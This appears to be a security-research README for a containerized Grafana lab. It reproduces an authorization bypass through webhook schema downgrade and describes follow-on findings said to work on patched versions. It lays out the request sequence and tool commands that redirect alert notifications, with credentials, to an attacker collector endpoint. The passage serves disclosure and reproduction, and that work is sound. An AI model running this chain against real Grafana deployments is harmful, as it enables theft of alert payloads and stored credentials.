
Grafana alerting contact point authorization bypass via schema downgrade (CVSS 7.7) — containerized lab, full PoC, plus 2 unreported findings reproducible on 13.2.5
Complete, containerized reproduction lab + PoC for CVE-2026-100105
(GHSA-92gx-p2qg-82fw, CVSS 3.1 7.7 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, CWE-863),
plus four additional (unreported) authorization weaknesses found during the
research — see Zeroday findings.
| Affected | Grafana OSS & Enterprise 12.4.0–12.4.13, 13.0.0–13.0.11, 13.1.0–13.1.8, 13.2.0–13.2.4 |
| Fixed | 12.4.14, 13.0.12, 13.1.9, 13.2.5 |
| Advisory | https://grafana.com/security/security-advisories/cve-2026-100105 |
| Attacker | any user who may edit contact points/receivers but lacks alert.notifications.receivers.protected:write — e.g. the built-in Editor role |
Grafana 12.4+ marks sensitive contact-point settings (protected fields, RBAC
action alert.notifications.receivers.protected:write) — most importantly the
destination URL of notifiers such as webhook. A user with plain receiver-edit
rights may change ordinary settings but must never be able to redirect where
notifications go, because notifications carry secrets (tokens, credentials,
alert payloads).
Integrations are versioned (pkg: github.com/grafana/alerting/receivers/schema).
The current webhook schema is v1 (url → Protected: true). A legacy
schema v0mimir1 (Alertmanager/Mimir-style, CanCreate: false) also exists,
in which url is a secure but not protected field.
The protected-field diff is computed against the incoming integration's schema version:
// pkg/services/ngalert/models/receivers_diff.go (13.2.4)
func HasIntegrationsDifferentProtectedFields(existing, incoming *Integration) []schema.IntegrationFieldPath {
diff := existing.Diff(*incoming)
for _, path := range diff.GetSettingsPaths() {
if incoming.Config.IsProtectedField(path) { // ← attacker-controlled schema!
...
An Editor can therefore PUT a receiver whose webhook integration is switched
to version: "v0mimir1" with a new settings.url. Under the legacy schema the
URL is not protected → the diff reports no protected-field change → the
authorization check is never enforced → the stored destination is replaced.
Impact: silent redirection of alert notifications to an attacker-controlled server (alert payload exfiltration; the classic use is pointing a notifier at a collector that harvests payloads and any credentials the notifier attaches), persisting until an administrator notices.
The official fix (13.2.5, pkg/registry/apps/alerting/notifications/receiver/legacy_storage.go)
adds rejectNonCreatableVersions / rejectNonCreatableVersionChanges, rejecting
creates/switches to any schema version with CanCreate=false.
All as user poc-editor (Editor role — no receivers.protected:write):
1. GET /apis/notifications.alerting.grafana.app/v1beta1/namespaces/default/receivers
→ find receiver; resource name = base64url("poc-webhook") = cG9jLXdlYmhvb2s
2. PUT (same URL) settings.url = http://collector:9001/exfil, version stays "v1"
→ 403 "user is not authorized to update protected fields of any receiver"
(baseline: the guard works on the normal path)
3. PUT (same URL) version = "v0mimir1", settings = { url: http://collector:9001/exfil }
→ 200 OK ← BYPASS: protected destination URL replaced
4. POST .../receivers/{name}/test (receiver test subresource, Editors allowed)
→ 200 success; Grafana dispatches the notification to the ATTACKER URL
Captured at the attacker endpoint (port 9001):
{"receiver":"webhook","status":"firing","alerts":[...],"externalURL":"http://localhost:3000/", ...}
Patched 13.2.5 rejects step 3 with exactly:
HTTP 400 integration of type "webhook" cannot be created or changed to schema version "v0mimir1"
┌────────────────────────────────────────────────────────────────────┐
│ podman compose network │
│ │
│ grafana-vuln grafana/grafana:13.2.4 :3000 (affected) │
│ grafana-fixed grafana/grafana:13.2.5 :3001 (patched) │
│ grafana-upgrade 13.2.4 → 13.2.5 in-place :3002 (upgrade sim) │
│ collector capture-all HTTP :9000 victim endpoint │
│ :9001 attacker endpoint│
└────────────────────────────────────────────────────────────────────┘
Every container is CPU/memory bounded (cpus, mem_limit). The collector
records method/path/headers/body of every request and exposes them at
GET /_captures?path=/exfil for automated verification.
cd lab
./run-demo.sh # boots everything, runs PoC + zeroday findings
./run-demo.sh down # tear down (removes volumes)
run-demo.sh performs:
poc-editor/Ed1torPass!, victim webhook with
basic-auth svc-monitoring/Sup3rS3cret-VictimCred! → collector:9000);v0mimir1) webhook receiver with stored
basic-auth svc-monitoring/LegacyS3cret-DoNotShare (admin);poc.py demo — full CVE chain on 13.2.4 + negative control on 13.2.5;zeroday.py demo-a — Finding A on patched 13.2.5;grafana-upgrade container switches 13.2.4 → 13.2.5,
volume persists the downgraded receiver);zeroday.py demo-b — Finding B: stored-credential exfil on the upgraded
patched instance;zeroday.py demo-c — Finding C: persistent hijack of the legacy
receiver on the upgraded patched instance (restored afterwards)../poc.py check --url http://127.0.0.1:3000 # fingerprint + permission profile
./poc.py exploit --url http://127.0.0.1:3000 # baseline 403 → downgrade 200
./poc.py trigger --url http://127.0.0.1:3000 # dispatch through hijacked receiver
./poc.py verify --collector http://127.0.0.1:9001 # prove capture at attacker endpoint
./poc.py clean --url http://127.0.0.1:3000 --admin-pass 'adm1nVuln!' # restore snapshot
./zeroday.py demo-a --url http://127.0.0.1:3001 # Finding A (patched)
./zeroday.py demo-b --url http://127.0.0.1:3002 # Finding B (upgraded patched)
./zeroday.py demo-c --url http://127.0.0.1:3002 \ # Finding C (upgraded patched)
--admin-pass 'adm1nUpgr!'
A validated transcript is in evidence/demo-transcript.txt.
matrix profile)To reproduce (or refute) the CVE on every affected version line, the lab ships extra targets behind a compose profile:
cd lab
podman compose --profile matrix up -d # + 13.1.8, 13.0.11, 13.0.12,
# 12.4.13, 12.4.14 (bounded)
for p in 3003:adm1n1318! 3006:adm1n13011! 3007:adm1n13012! 3004:adm1n12413! 3005:adm1n12414!; do
python3 bootstrap.py --base-url "http://127.0.0.1:${p%%:*}" --admin-pass "${p#*:}"
done
python3 version-matrix.py # runs every check below
Empirical results (validated 2026-10-31, all containerized — transcript in
evidence/version-matrix-transcript.txt):